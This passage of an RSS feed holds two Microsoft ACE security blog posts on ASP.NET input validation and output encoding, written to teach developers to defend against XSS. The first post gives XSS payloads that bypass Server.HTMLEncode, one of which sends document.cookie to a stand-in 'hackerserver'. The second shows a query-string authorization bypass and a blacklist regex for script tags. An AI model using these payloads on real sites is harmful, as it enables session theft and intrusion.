&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Now, let’s look at some Inappropriate output encoding&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&lt;/SPAN&gt;examples &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Calibri; mso-bidi-font-size: 11.0pt"&gt;a)&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Calibri; mso-bidi-font-size: 7.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Server.HTMLEncode()&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;This is Sample.aspx&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Welcome to Foo!!!!&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Server.HTMLEncode(&amp;lt;%= (Request.Params["Search"])%&amp;gt;);&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/script&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;/html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;•&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;Exploit payload to bypass this encoding is given below &lt;/B&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;a id=evilLink&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;href="http://victimsite.com/sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F%2Fhackerserver%2Fhackersite%2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')" mce_href="http://victimsite.com/sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F%2Fhackerserver%2Fhackersite%2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')"&amp;gt;http://victimsite.com/default.aspx&amp;lt;/a&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;The above payload does not have any &amp;lt;script&amp;gt; tags so it easily bypasses the encoding routine.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;&lt;BR&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Calibri; mso-bidi-font-size: 7.0pt"&gt;&amp;nbsp;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Another example for inappropriate use of Server.HtmlEncode()&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 10.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;html&amp;gt;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 10.0pt"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;body&amp;gt;&lt;/SPAN&gt;&lt;SPAN style="FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 12.0pt"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;lt;H1&amp;gt;XSS &amp;lt;/H1&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;IMG SRC='&amp;lt;%=Server.htmlencode(request("im"))%&amp;gt;'&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/body&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Exploit payload&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;to bypass this encoding is given below &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;IMG SRC="javascript:alert('XSS');"&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 10.0pt"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 12.0pt"&gt;&lt;o:p&gt;&lt;FONT size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Server.HTMLEncode fails to protect against XSS attack in these examples because of the following reasons:&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.5in"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 11.0pt"&gt;·&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 7.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Attacker payload lands up in a scripting context already, so there is no need to have &amp;lt;script&amp;gt; in the payload.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.5in"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 11.0pt"&gt;·&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 7.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Server.HTMLEncode is a black list encoding function which ONLY encodes 4 characters : &amp;lt; , &amp;gt; , “ , &amp;amp;. All other characters are not encoded.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Recommendations:&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 11.0pt"&gt;·&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 7.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Input Validation&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;- Use White list Regular expression validation. Allows one or more alphabetical characters string regExPattern = @"^[A-Za-z]+$";&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 11.0pt"&gt;·&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 7.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Output Encoding - Anti-Cross Site Scripting Library from ACE team can be used to mitigate against XSS attacks. This is a white list encoding routine &amp;amp; is available at &lt;A href="http://msdn2.microsoft.com/en-us/security/aa973814.aspx"&gt;http://msdn2.microsoft.com/en-us/security/aa973814.aspx&lt;/A&gt;.&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;Stay tuned for more bloopers next week. Till then, keep it secure.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;Cheers,&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;Anmol Malhotra&lt;BR&gt;Senior Security Consultant – Microsoft ACE Services&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=6142626" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/hackers/archive/tags/Input+Validation/default.aspx">Input Validation</category><category domain="http://blogs.msdn.com/hackers/archive/tags/Cross+Site+Scripting/default.aspx">Cross Site Scripting</category></item><item><title>First Line of Defense for Web Applications – Part 3</title><link>http://blogs.msdn.com/hackers/archive/2007/10/30/first-line-of-defense-for-web-applications-part-3.aspx</link><pubDate>Wed, 31 Oct 2007 00:53:38 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:5786752</guid><dc:creator>techjunkie</dc:creator><slash:comments>4</slash:comments><comments>http://blogs.msdn.com/hackers/comments/5786752.aspx</comments><wfw:commentRss>http://blogs.msdn.com/hackers/commentrss.aspx?PostID=5786752</wfw:commentRss><description>&lt;h3&gt;Precaution: Are you consuming Unexpected Input &lt;/h3&gt;  &lt;p&gt;Technology is developing fast and web programming languages are coming up with features or ways to ease the job of our developers. Although it brings a smile on developers face, there is a flip side to this. Attackers are exploiting these shortcuts to pass unexpected input in the applications and exploiting the applications. Let&amp;#x2019;s look at Request () Object which retrieves the values that the client browser passed to the server during an HTTP request. &lt;/p&gt;  &lt;p&gt;Interestingly, all variables can be accessed directly by calling &lt;a href="http://msdn2.microsoft.com/en-us/library/ms524948.aspx"&gt;Request(&lt;/a&gt;variable) without the collection name. In this case, the Web server searches the collections in the following order:&lt;/p&gt;  &lt;p&gt;&amp;#xB7; QueryString&lt;/p&gt;  &lt;p&gt;&amp;#xB7; Form&lt;/p&gt;  &lt;p&gt;&amp;#xB7; Cookies&lt;/p&gt;  &lt;p&gt;&amp;#xB7; ClientCertificate&lt;/p&gt;  &lt;p&gt;&amp;#xB7; ServerVariables&lt;/p&gt;  &lt;p&gt;Now this is where it gets dangerous. If a variable with the same name exists in more than one collection, the &lt;a href="http://msdn2.microsoft.com/en-us/library/ms524948.aspx"&gt;Request&lt;/a&gt; object returns the first instance that the object encounters.&lt;/p&gt;  &lt;p&gt;For example, a web application may implement the following authorization checks:&lt;/p&gt;  &lt;p&gt;&lt;i&gt;If Request(&amp;#x201C;Admin&amp;#x201D;) =&amp;#x201D;True&amp;#x201D; Then &lt;/i&gt;&lt;/p&gt;  &lt;p&gt;&lt;i&gt;Do administrative work &lt;/i&gt;&lt;/p&gt;  &lt;p&gt;&lt;i&gt;Else &lt;/i&gt;&lt;/p&gt;  &lt;p&gt;&lt;i&gt;Normal User Work&lt;/i&gt;&lt;/p&gt;  &lt;p&gt;If the developer of the application sets a variable in the cookie, such as Admin=Yes, then the application will check for the value of this Request object whenever the application has to process admin functionality. &lt;/p&gt;  &lt;p&gt;The code should look something like Request.Cookies(&amp;#x201C;Admin&amp;#x201D;).&amp;#xA0; However, if the developer loosely codes the thing, and uses a shortcut like Request(&amp;#x201C;Admin&amp;#x201D;) then now as stated earlier, the Request object will search for a match in QueryString, Form, Cookies, ClientCertificate and ServerVariables, in that order. The first match found dictates the value.&lt;/p&gt;  &lt;p&gt;From an attacker perspective, a simple payload would bypass this and exploit the application. &lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.vulnerablecom/abc.aspx?URL=Admin"&gt;http://www.vulnerablecom/abc.aspx?URL=Admin&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;a&gt;&lt;/a&gt;Here Value from Querystring overrides or takes precedence over cookies object.&lt;/p&gt;  &lt;h3&gt;&lt;a&gt;Input Validation Strategies&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;Before we start building a defence against the bad guys, we need to clearly understand some basic concepts of security design and architecture. Security requires some measure of paranoia&amp;#x2014;we must assume all foreign data entering an application is malicious.&amp;#xA0; Therefore, all foreign data should be validated before consuming and should be encoded when echoing back to the user.&amp;#xA0; This paranoia is a key part of developing secure applications.&lt;/p&gt;  &lt;p&gt;There are two basic strategies for validating input.&amp;#xA0; Either we can look for known values in the input we are expecting to receive from the user (white list) or we can look for unknown list of values which we are not expecting to receive from the user (black list). These strategies are applicable to other security domains in addition to web applications. For example, when configuring a firewall you can either accept traffic only on specific ports &amp;amp; specific IP address OR you can write many rejection rules which will reject traffic on all unwanted ports and IP addresses.&lt;/p&gt;  &lt;h4&gt;&lt;a&gt;Black List Approach a.k.a Exclusions list&lt;/a&gt;&lt;/h4&gt;  &lt;p&gt;In this approach, the developer tries to imagine all the bad input that may find its way to her application, and then rejects all these specific inputs.&amp;#xA0; All other data is accepted.&amp;#xA0; These are just a few of the inputs she will need to look out for:&lt;/p&gt;  &lt;p&gt;&lt;b&gt;User Input Expected&lt;/b&gt;: First Name&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Regular Expression&lt;/b&gt;: (&amp;amp;lt;|&amp;amp;amp;lt;|%3C)(%20|\s)*(script|applet|embed|)) &lt;/p&gt;  &lt;p&gt;The black list strategy is a weak protection mechanism because you cannot brain storm all the bad characters attackers will use for a particular attack. We all know security is an ever changing landscape. Black list comes heavily dependent on attacker&amp;#x2019;s next moves and therefore has to be continuously updated and changed.&amp;#xA0; As new attack techniques come out, this list becomes outdated and requires constant monitoring.&lt;/p&gt;  &lt;h4&gt;&lt;a&gt;White List Approach aka Inclusions list&lt;/a&gt;&lt;/h4&gt;  &lt;p&gt;The white list strategy compares foreign user input to specific input that will be treated as acceptable. For example:&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;User Input Expected&lt;/b&gt;: First Name &lt;/p&gt;  &lt;p&gt;&lt;b&gt;Regular Expression&lt;/b&gt;: [a-z A-Z-] &lt;/p&gt;  &lt;p&gt;The above is a White list of all &lt;b&gt;known good inputs,&lt;/b&gt; e.g Only Caps A to Z and small a- z will be allowed.&amp;#xA0; All other input is discarded as evil.&lt;/p&gt;  &lt;p&gt;White list filtering gives more control to the programmer as it is a restrictive kind of filtering mechanism. Only characters defined in the list will be entertained and nothing else. All other characters are considered malicious and are rejected. White list offers much better protection in your application against attacks when the programmer has a good idea of the type of input expected for the application.&lt;/p&gt;  &lt;p&gt;Unfortunately, there can be times when application developer has no clear idea about what data is expected. For example, sometimes user can enter free HTML as an input. In this kind of scenario, implementing inclusions list validation becomes difficult.&lt;/p&gt;  &lt;p&gt;Cheers,&lt;/p&gt;  &lt;p&gt;Anmol Malhotra&lt;/p&gt;  &lt;p&gt;Sr. Security Consultant&amp;#xA0; - Microsoft ACE Services&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=5786752" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/hackers/archive/tags/Input+Validation/default.aspx">Input Validation</category></item></channel></rss>